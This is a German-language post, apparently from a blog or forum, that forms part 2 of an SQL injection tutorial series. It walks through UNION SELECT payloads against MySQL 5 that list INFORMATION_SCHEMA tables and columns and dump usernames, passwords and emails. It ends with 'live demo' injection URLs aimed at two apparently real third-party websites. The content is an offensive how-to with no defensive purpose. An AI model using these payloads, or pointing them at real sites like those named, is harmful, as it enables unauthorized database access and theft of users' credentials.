Heyho,
werd mir heute Zeit nehmen fuer den zweiten Teil meiner SQL Injection Tutorial Reihe und hier wird es, wie schonmal angesprochen, vorallem um MySQL v5 gehen.
Vorerst noch nen kleiner Nachtrag zum Tutorial gestern, da es ein paar unklarheiten gab.
Zum Punkt ausgeben, mit concat(username,0x3a,password) lohnt es sich ab Ausgaben von 3 oder mehr Columns, also zum Beispiel noch eMail, die Funktion concat_ws() zu benutzten. Das sieht dann so aus:
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat_ws(0x3a,username,password,email),3/**/FROM/**/users/*
Vorraussetzung ist, dass der Column eMail auch existiert.
Die Ausgabe sieht dann so aus:
Username:Password:eMail
Da es noch was wegen dem “and” gab.
http://www.site.de/news.php?id=5 and 1 = 0
Das and 1 = 0 fragt hier ob 1 = 0 ist. Da 1 != 0 ist, ist das also Falsch (false) und daher sollte wenn etwas vuln ist, auf der Page inhaltlich etwas fehlen oder eben auch nen error erscheinen.
http://www.site.de/news.php?id=5 and 1 = 1
Sollte die Page normal anzeigen, da 1=1 ist, und logisch auch richtig ist. Das “sagt” dann so viel wie “Zeige id=5 wenn 1=1 ist”. Daher sollte hier der Inhalt richtig angezeigt werden.
So nun zum eigentlichen Tutorial, wenn wir nun die Anzahl der Columns mit Order By rausbekommen haben, UNION SELECT 1,version(),3 funktioniert und wir dort Version 5.0.45-community oder 5.x.x rausbekommen, dann haben wir im Normalfall auch Zugriff auf die Datenbank INFORMATION_SCHEMA. Mehr dazu hier: *klick* (die MySQL Documentation kann oft hilfreich sein). Im Normallfall werden dort quasi alle Tabellen/Columns gespeichert, welche sich auf der DB befinden. Dies ist ein extremer Vorteil, den so koennen wir uns alle Datenbanken, Tabellen und Spalten ausgeben lassen. Vorallem gibts fuer v5 auch einige gute Scripts, welche einem die ganzen DB/Tables/Columns rausschreibt.
Ich gebe mir das mit conat_ws aus. Wir wollen uns nun ausgeben: DATENBANK:TABELLE:SPALTE
Das ganze muessen wir so gestalten:
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,table_schema,table_name,column_name),3/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/LIMIT/**/180,1/*
Bis ~ 180 kommen tabellen von INFORMATION_SCHEMA welche uninteressant sind, ab ~ Limit 180 werden uns die Daten von anderen DBs ausgegeben, welche dann fuer uns auch interessant sind. Zuerst zum LIMIT, was bewirkt das? Das LIMIT waehlt den Datensabsatz/Reihe aus, welche ausgelesen werden soll. 0,1 bzw 1,1 waere der erste Datensatz, 2,1 waere der zweite usw..
Nun wird uns ausgegeben:
Datenbankname:tabellenname:spaltenname
Wichtig: Ihr muesst beachten, wenn mehrere Datenbanken sich auf dem Server befinden, muessen wir die richtige DB im FROM Statement mit einem Punkt auswaehlen. Das heißt, wenn die DB lol heißt und die Tabelle users dann sieht das so aus:
... FROM lol.users...
Daher haben wir hier auch INFROMATION_SCHEMA.COLUMNS genommen, da in der Tabelle Columns man DB name, tabellen name und column name auslesen kann, ist manchmal sehr wichtig.
Dann gehen wir das Limit durch, wenn ihr nun irgendwann bei webuser:users:username bei LIMIT 301,1 und bei 302,1 webuser:users:password steht (db name is frei erfunden), dann wissen wir nun “aha die DB heißt webuser, die Tabelle heißt users und die Spalten sind username und password”. Koennt auch noch 303,1 machen usw.. irgendwann erscheint ein error (oder eine weiße seite) und dann wisst ihr, dass ihr am Ende seid und nicht weitere Tabellen mehr existieren. Ist natuerlich totaler stuss das immer eins aufzuzaehlen, ich mach das in 50er schritten. Wie gesagt, Scripts koennen hier helfen, darkc0de hat tolle Python scripts. Ansonsten einfach in Schritten weiter machen, ob ihr irgendeine tabelle mit users oder admins oder aehnliches seht und dann dort eben in 1er schritten weiter.
Wenn wir nun unsere Daten haben, machen wir wie bei Teil 1 weiter:
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*
Aufjedenfall hilft, wie ihr seht, MySQL version 5.x.x um einiges weiter, da wir hier nicht Tabellen Namen irgendwie erraten muessen
Das war nun Teil 2 von meiner Tutorial Reihe, der kuerzeste Teil, da man zu Version 5 nicht viel erzaehlen kann^^
Hier noch schnell zwei Live Demos:
MySQL version 4:
http://www.wochenspiegel-saarland.de/index.php?id=43&doc=-81980/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,unhex(hex(version())),12,13,14,15,16,17,18,19,20,21,22,23/*
MySQL version 5:
http://www.sbcommunicationsgroup.com/media-info.php?id=-1/**/UNION/**/SELECT/**/1,2,3,concat_ws(0x3a,table_schema,table_name,column_name)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/LIMIT/**/180,1/*
Aufjedenfall hoffe ich, dass ihr dieses Tutorial mehr oder weniger verstanden habt und es vorallem Neulingen bzw Anfaengern geholfen hat.
Teil 3 ueber Blind SQL Injections wird denk ich am Freitag folgen, da ich morgen keine Zeit habe.
Kritik/Fehler/Fragen/Vorschlaege wie immer als Comment, danke